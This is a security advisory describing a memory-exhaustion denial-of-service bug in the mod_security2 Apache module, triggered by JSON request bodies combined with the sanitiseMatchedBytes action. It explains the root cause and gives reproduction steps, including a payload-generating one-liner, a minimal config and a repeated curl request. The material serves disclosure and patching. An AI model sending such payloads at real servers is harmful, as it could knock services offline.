Impact

Simon Studer (@studersi) from Netnea reported an issue on behalf of Swiss Post. He explained the problem in details.

I've made an investigation, and found the root cause.

The issue affects mod_security2 Apache2 module.

The DoS caused only in one special case (in stable released versions):

• the payload's content type is application/json
• there is at least one rule which does a sanitiseMatchedBytes action (probably all sanitise* action triggers it)

The problem explanation: normally, the mod_security2 engines expands variables from request in processing order. Eg. if the payload is an url-encoded content, ARGS collection's members are processed one by one. If a variable produced it executed by the operator. If the operator returns with TRUE, then actions will be executed - eg. sanitiseMatchedBytes.

sanitiseMatchedBytes push the arguments that is gets. If it's an ARGS argument, then it adds one argument a time to a list, which stores the arguments that will be sanitized during logging phase.

The problem is if the payload is a JSON type, then the JSON processor produces all variables from the payload, then the rule process it one by one. If the operator matches it, then runs the actions, including sanitiseMatchedBytes. This means all processed JSON variable will be added all the times. If you have 1000 items in the JSON payloads, then the rule will evaluate all of them, and will add all of them to sanitize. This will happen 1000 times, so the size of variables to sanitize will be 1 000 000.

Because of the module uses Apache2 API, this will be stored in an apr_table, which size is increased dynamically. Each requests will increase its own table, and this can be lead a DoS - and only one request is enough to reproduce this high memory consumption. After a few request leads to out of memory error.

Patches

Patch is available and tested by Simon. I'll send that soon and will release a new version.

Workarounds

There is no known workaround. If a rule contains sanitiseMatchedBytes action, and the payload type is JSON and the variables match by the operator, then this issue will appear.

References

Not yet.

How to reproduce

This was created from reporter's explanation.

First, create a payload:

python3 -c "print('[%s]' % ','.join(['1234567890123456'] * 1000))" > payload.json

Then create a minimal config for mod_security2, like this:

LoadModule  mpm_event_module    /usr/lib/apache2/modules/mod_mpm_event.so
LoadModule  authz_core_module   /usr/lib/apache2/modules/mod_authz_core.so
LoadModule  proxy_module        /usr/lib/apache2/modules/mod_proxy.so
LoadModule  proxy_http_module   /usr/lib/apache2/modules/mod_proxy_http.so
LoadModule  unique_id_module    /usr/lib/apache2/modules/mod_unique_id.so
LoadModule  security2_module    /usr/lib/apache2/modules/mod_security2.so

ServerName  127.0.0.1
Listen      127.0.0.1:80

ServerRoot  ${PWD}
User        www-data
Group       www-data

ErrorLog    error.log
PidFile     apache.pid

# disabling the audit engine also solves the issue
SecAuditEngine  On
SecAuditLog     audit.log
 
SecRuleEngine                On
SecRequestBodyAccess         On

# a lower limit for SecArgumentsLimit means payloads have to be smaller but they can be sent repeatedly
# use while loop with payload consisting of 1000 elements for SecArgumentsLimit 1000

SecArgumentsLimit            1000

SecRule REQUEST_HEADERS:Content-Type "^application/json" "id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON"
 
# removing `sanitiseMatchedBytes` solves the issue
SecRule ARGS "@verifyCC \d{13,16}" "phase:2,id:133,nolog,capture,pass,msg:'Potential credit card number in request',sanitiseMatchedBytes"


# use your custom settings here
ProxyPass          /    http://localhost:8080/
ProxyPassReverse   /    http://localhost:8080/
 
<Proxy http://localhost:8080/>
      Require all granted
      Options None
</Proxy>

Send this request:

time curl --header "Content-Type: application/json" --data @payload.json http://localhost:80/post

Repeat this request and see Apache's memory usage.